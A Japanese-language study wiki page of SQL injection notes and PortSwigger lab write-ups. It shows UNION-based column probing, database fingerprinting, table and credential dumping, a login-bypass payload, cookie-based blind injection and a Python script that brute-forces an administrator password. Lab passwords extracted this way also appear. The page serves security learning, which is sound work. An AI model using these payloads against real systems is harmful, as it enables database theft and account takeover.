BurpSuite_SQL Injection - meruneru/tech_memo GitHub Wiki

SQL Injectionn

下記サイトで学んだことをまとめる。 https://portswigger.net/web-security/sql-injection

Retrieving hidden data

URLのパラメータを工夫して、 サーバ側で実行されるSQLに細工すると、通常では見えないデータが見えることがある。

通常のリクエストで実行されるSQL https://insecure-website.com/products?category=Gifts -> SELECT * FROM products WHERE category = 'Gifts' AND released = 1

'-- を上手くつかうと、常に成立する条件式にできる。

https://insecure-website.com/products?category=Gifts'+OR+1=1-- -> SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Subverting application logic

SQL Injection でパスワード判定を読み飛ばすことができる。

通常のログイン SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

SQLIを使うと、

User: administrator'--
Pass: tekitou

-> SELECT * FROM users WHERE username = 'administrator'--' AND password = tekitou'

SQL Injection Uniton Attack

Determining the number of columns required in an SQL injection UNION attack

unionを使うことで、クエリーに対するレスポンスのカラム数を調べることができる。

unionは下記のように2つのselect文を結合することができるが、 それぞれのselect文のレスポンスに含まれるカラム数が一致してなければエラーとなる。 また、それぞれのレスポンスの型も一致している必要がある。 SELECT a, b FROM table1 UNION SELECT c, d FROM table2

SQLiで下記のようにNULLと比較していき、 エラーが発生しない場合のNULLの個数がレスポンスのカラム数となる。

' UNION SELECT NULL--  
' UNION SELECT NULL,NULL--  
' UNION SELECT NULL,NULL,NULL--

こっちでも良い
' ORDER BY 1--  
' ORDER BY 2--  
' ORDER BY 3--

Finding columns with a useful data type in an SQL injection UNION attack

同様の発想で、レスポンスの型をカラムごとに推察することができる。

' UNION SELECT 'a',NULL,NULL,NULL--  
' UNION SELECT NULL,'a',NULL,NULL--  
' UNION SELECT NULL,NULL,'a',NULL--  
' UNION SELECT NULL,NULL,NULL,'a'--

lab

labは下記でOKだった。 なお、27ju0ZFnは問題条件で与えられている。 https://ac7a1f231e01348fc07611b30004008f.web-security-academy.net/filter?category=Lifestyle%27union+select+null,%27ju0ZFn%27,null--

Using an SQL injection UNION attack to retrieve interesting data

下記が分かればSQLiで、秘匿情報を取得できることになる。

  • レスポンスのカラム数
  • レスポンスの型
  • テーブル名
  • カラム名

lab

labでは、テーブル名とカラム名は前提条件として与えられている。

The database contains a different table called users, with columns called username and password.

カラム数が2個でそれぞれが文字列なことを確かめた後、下記リクエストを投げると、 ページ内にユーザ一覧とパスワードが表示された。 https://acbc1f071fd1f67bc0b0442b00690077.web-security-academy.net/filter?category=Gifts'+union+select+username,password+from+users--

carlos
q8wpl88egpzzm532awyc

wiener
wbns9vu1iumv909zonoe

administrator
ny1xgw6dwrhpz7ak503k

!

あとは、administratorとしてログインすればクリアとなる。

Examining the database in SQL injection attacks

DB自体の情報を集める手法について学ぶ。

Querying the database type and version

Union Attackで下記クエリを投げることで、データベースの種類を調べることができる。

type Query
MS, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

lab

とりあえず、DBの種類を調べてみると、Oracleを使っているようだ。

/filter?category=Gifts'union+select+@@version--

Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'

Orcleはdualという組み込みテーブルがあるので、 それを使って、DBのカラム数と型を調べていく。

下記のリクエストでサーバエラーとならなかったので、 カラム2個でそれぞれ文字列なことが分かった。

'union+select+null,null+from+dual--
'union+select+'a','b'+from+dual--

あとは、Orcleのversionを問い合わせる。

SQL Cheat-SheetのDatabase versionを見ると下記の通り。

Oracle

SELECT banner FROM v$version  

SELECT version FROM v$instance

これをもとにUnion Attackを考えると、下記となると思ったが、 エラーとなった。

'union+SELECT+banner,version+FROM+v$version--

versionを知りたい場合は、そこのnullしないとダメらしい。

'union+SELECT+banner,null+FROM+v$version--

lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft

まずはカラム数を確認する。

下記の形でNULLをいろいろな数で試すがすべてダメだった。

これはダメだった

'UNION+SELECT+NULL,NULL--

SQL Cheat-Sheetのコメントを見ると、 MySQLの場合は、--の末尾にスペースが必要とのこと。

下記のリクエストが成功したため、MySQLであること、カラムは2個必要なことがわかった。

'UNION+SELECT+NULL,NULL--+

あとは、MySQLのversionを問い合わせるだけでクリアとなった。

'UNION+SELECT+@@version,null--+

Listing the contents of the database

Oracle以外のDBならinfomation schemaと呼ばれる情報にアクセスできる。

  • テーブルの一覧取得
SELECT * FROM information_schema.tables

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE  
=====================================================  
MyDatabase dbo Products BASE TABLE  
MyDatabase dbo Users BASE TABLE  
MyDatabase dbo Feedback BASE TABLE
  • カラムの一覧取得
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE  
=================================================================  
MyDatabase dbo Users UserId int  
MyDatabase dbo Users Username varchar  
MyDatabase dbo Users Password varchar

lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle

Union Atackを駆使しながら、テーブル名、カラム名を見つけ出し、管理者のアカウントにログインできればクリアとなる。

まずはこのページの、レスポンスのカラム数を確認すると2個だった。Oracleではない。(コメントアウト--で見分けれた)

information_schema.tablesをググると、table_nameというカラムがあることがわかるので、下記Union Attackでテーブル一覧を取得できる、。

https://ac8b1fc51f2c5ba2c0998fe300c70049.web-security-academy.net/filter?category=Pets%27+union+select+table_name,null+from+information_schema.tables--

ユーザー名に関係しそうなテーブルを探すと、users_wbxexpというのが怪しそうだった。

このテーブルのカラム名を表示してみる。

https://ac9e1fa11f7c00bbc05aa1ff00d30087.web-security-academy.net/filter?category=Gifts%27union+select+column_name,null+from+information_schema.columns+WHERE%20table_name=%27users_wbxexp%27--

username_ipmzug
password_rclrcf

27users_wbxexpテーブルに、 username_ipmzugカラムとpassword_rclrcfカラムがあることが分かった。

このカラムに格納されているデータを表示すると、 administrator/1881fpa6wls6b0pbbbgkが得られたので、ログインしてクリア。

'union+select+username_ipmzug,password_rclrcf+from+users_wbxexp-- 

administrator
1881fpa6wls6b0pbbbgk

Equivalent to information schema on Oracle

Oracleの場合でも、クエリは異なるがテーブル名一覧、カラム名一覧は取得できる。

SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle

Oracleのデータベースに対して、管理者のIDとパスワードを取得する問題

カラム数は2だった。

'union+select+null,null+from+dual--+

テーブル名一覧を表示させて、 ユーザー情報がありそうなテーブル名は下記2つだった。

'union+select+table_name,null+from+all_tables--+ 

USER$
USERS_UEMNTX

それぞれのテーブル名のカラムをチェックすると、 USERS_UEMNTXテーブルのカラム名が重要そうだった。

'union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UEMNTX'--+

USERNAME_DLCRUI
PASSWORD_KUHMNR

それぞれのカラムを表示すると、管理者のID/PWが取得できた。 ログインしたらクリアとなった。

'union+select+USERNAME_DLCRUI,PASSWORD_KUHMNR+from+USERS_UEMNTX--+

administrator
dh22inzfycvwdj12ze45

Retrieving multiple values within a single column

クエリに対するレスポンスが1カラムの場合は、 文字列連結を使うことで複数カラムの情報を1カラム分として取得できる。

Oracleの場合は、||で文字列連結する。

' UNION SELECT username || '~' || password FROM users--

lab

https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle

DB名を探して、カラム名を探して管理者としてログインする問題。

カラムは2個のようだ。

'union+select+null,null--

PostgresSQLを使っている。

'union+select+version(),null-- 

PostgreSQL 11.14 (Debian 11.14-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit

テーブル一覧をみるとusers_zmudinテーブルが怪しい。

'union+select+table_name,null+FROM+information_schema.tables--
users_zmudin

カラム名を見てみる。

'union+select+column_name,null+FROM+information_schema.columns+WHERE+table_name='users_zmudin'-- 

username_oyvsbv
password_mibfgx

それぞれのカラム名で表示してみると、ID/PWが取得できた。

'union+select+username_oyvsbv,password_mibfgx+FROM+users_zmudin--

administrator
iebmd14w457mus3eddlg

lab

カラム数と文字列型の場所を探してみると、 カラム数は2個で、2個目が文字列型だった。

'union+select+null,'a'--

usernameとpasswrodというカラム名で、 usersテーブルがあることは問題文に明示されているため、 それぞれの文字列を連結すれば表示できた。

'union+select+null,username+||'~'||+password+from+users--

Blind Injection

Exploiting blind SQL injection by triggering conditional responses

クッキーを細工してSQLiを実行できる場合もある。

ブラウザからTrackingIdという値をもとにサーバー側でユーザー認証をする場合、 下記のようなSQLが実行されると想定できる。

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

この場合、TrackingIdを下記のように変更するとSQLiとなる。

TrackingId=u5YD3PapBcR4lN3e7Tj4' AND '1'='1

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND '1'='1'

lab

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

Union Attackを試してみると、nullの個数に関係なく毎回成功(200)が返ってくるため、 DBの構造を読むことができなかった。

Cookieの中にTrackingIdという独自のフィールドがあり、 そこにSQLiを仕込む余地がある。

'AND '1'='1   こっちは成功
'AND '1'='0   こっちは失敗

!

'AND (select substring(password,1,1) from users WHERE username='administrator')='§b§

Burpsuiteで1個づつ調べていくと良いのだが、 面倒で時間がかかる過ぎるとタイムアップしてしまうため、 pythonのwriteupを見た。

import requests  
import sys  
  
def blind_sql_injection(url, length):  
 output = ''  
 target = url  
 headers={}  
 for i in range(1, length+1):  
 base_cookie = "TrackingId=a'UNION SELECT 'a' from users WHERE username = 'administrator' and (ascii(substring(password,%s,1)))=[CHAR]--; session=Rict9ulgAu63wgQ3vkcsbQ9vfVUPsGBo"%str(i)  
 for j in range(32,126):  
 print("Currently trying digit %s with: "%str(i), chr(j))  
 cookie = base_cookie.replace("[CHAR]",str(j))  
 headers["cookie"]=cookie  
 res = requests.get(url, headers=headers)  
 if "Welcome" in res.content.decode('utf-8'):  
 output += chr(j)  
 break  
 print("Current password: ", output)  
  
url = "https://acff1f841e04dc72802261c1003500e8.web-security-academy.net/"  
blind_sql_injection(url, 20)
⚠️ **GitHub.com Fallback** ⚠️